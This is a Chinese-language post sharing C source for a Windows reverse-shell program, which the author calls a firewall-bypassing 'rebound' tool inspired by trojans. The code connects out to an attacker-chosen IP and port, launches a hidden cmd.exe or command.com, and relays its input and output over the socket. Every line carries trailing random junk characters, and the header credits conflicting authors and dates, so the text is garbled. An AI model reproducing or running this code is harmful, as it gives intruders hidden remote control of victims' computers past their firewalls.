这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _,2P4
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/* ============================== d#9"_{P
Rebound port in Windows NT "jUr[X2J
By wind,2006/7 fuxBoB
===============================*/ g(0
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#include {m/\AG)1I
#include 6*,8 H&
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#pragma comment(lib,"wsock32.lib") ( |1 $zF+
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void OutputShell(); G'<J8;B*
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SOCKET sClient; <(Wa8PY2(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; PIuk]&L^
Lw]:/x
void main(int argc,char **argv) A2b
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{ F`ifHO
WSADATA stWsaData; %&yD^q_
int nRet; "b!QE2bRO
SOCKADDR_IN stSaiClient,stSaiServer; [Pdm1]":(
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if(argc != 3) ?zKVXK7}0
{ TIV1?S
printf("Useage:\n\rRebound DestIP DestPort\n"); %3i/PIN
return; zJ#e3o .
} %T UljX K}
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WSAStartup(MAKEWORD(2,2),&stWsaData); z+1#p.F$@
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $.}fL;BzVz
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stSaiClient.sin_family = AF_INET; .BXZ\r`
stSaiClient.sin_port = htons(0); X9nt;A2TU+
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Fz16m7.
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &G@*/2A
{ ke~O+]
printf("Bind Socket Failed!\n"); f{lg{gA(
return; +7o3TA]-
} GljxYH"]#
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stSaiServer.sin_family = AF_INET; '=x
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); BpCzmU
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); A$W,#`E
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) KS'? DO
{ QQ97BP7W
printf("Connect Error!"); tCK%vd%
return; [dsH0 D&T
} A75IG4]
OutputShell(); #:{PAt
} DI9x]CR
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void OutputShell() uKh),@JV
{ hkv&Od,
char szBuff[1024]; suaTXKjyk+
SECURITY_ATTRIBUTES stSecurityAttributes; Yv9(8
OSVERSIONINFO stOsversionInfo; -sGfpLy<6
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $t-HJ<!
STARTUPINFO stStartupInfo; j$zw(EkN
char *szShell; 2#ha Icm"
PROCESS_INFORMATION stProcessInformation; hp,bfcM
unsigned long lBytesRead; +=Crfvt
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); KCDEMs}}zM
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); LwkZ (Tt
stSecurityAttributes.lpSecurityDescriptor = 0; A%oHx|PD
stSecurityAttributes.bInheritHandle = TRUE; @xB"9s
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); DK&J"0jz,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Cz
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -O\!IXG^
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S*IF/ fu
stStartupInfo.wShowWindow = SW_HIDE; }X)mZyM [
stStartupInfo.hStdInput = hReadPipe; {*`qL0u]^
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5)2lZ(5.A#
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GetVersionEx(&stOsversionInfo); 9EK5#_L[=
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switch(stOsversionInfo.dwPlatformId) /'u-Fr(Q+
{ tqAh&TW3+
case 1: O]~ cv^
szShell = "command.com"; GG5wiN*2S
break; !GURn1vcAe
default: Aj;Z
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szShell = "cmd.exe"; cMsm[D{b
break; \d2Ku10v[
} 4W*52*'F,
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); b/Z=FS2T
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send(sClient,szMsg,77,0); mMS%O]m,|
while(1) :&HrOdz
{ S2kFdx*Zf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H? Z5ex
if(lBytesRead) '0[D-jEr
{ 3u^U\xB
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); WOrz7x
send(sClient,szBuff,lBytesRead,0); ?"N,do
} D/'kYoAEO
else %# ?)+8"l
{ G<# 9`
lBytesRead=recv(sClient,szBuff,1024,0); 4%LG Ph
if(lBytesRead<=0) break; z8G1[ElY
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); GF*8(2h2
} KaNi'=nW
} +)h *)
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return; p#wQW[6
}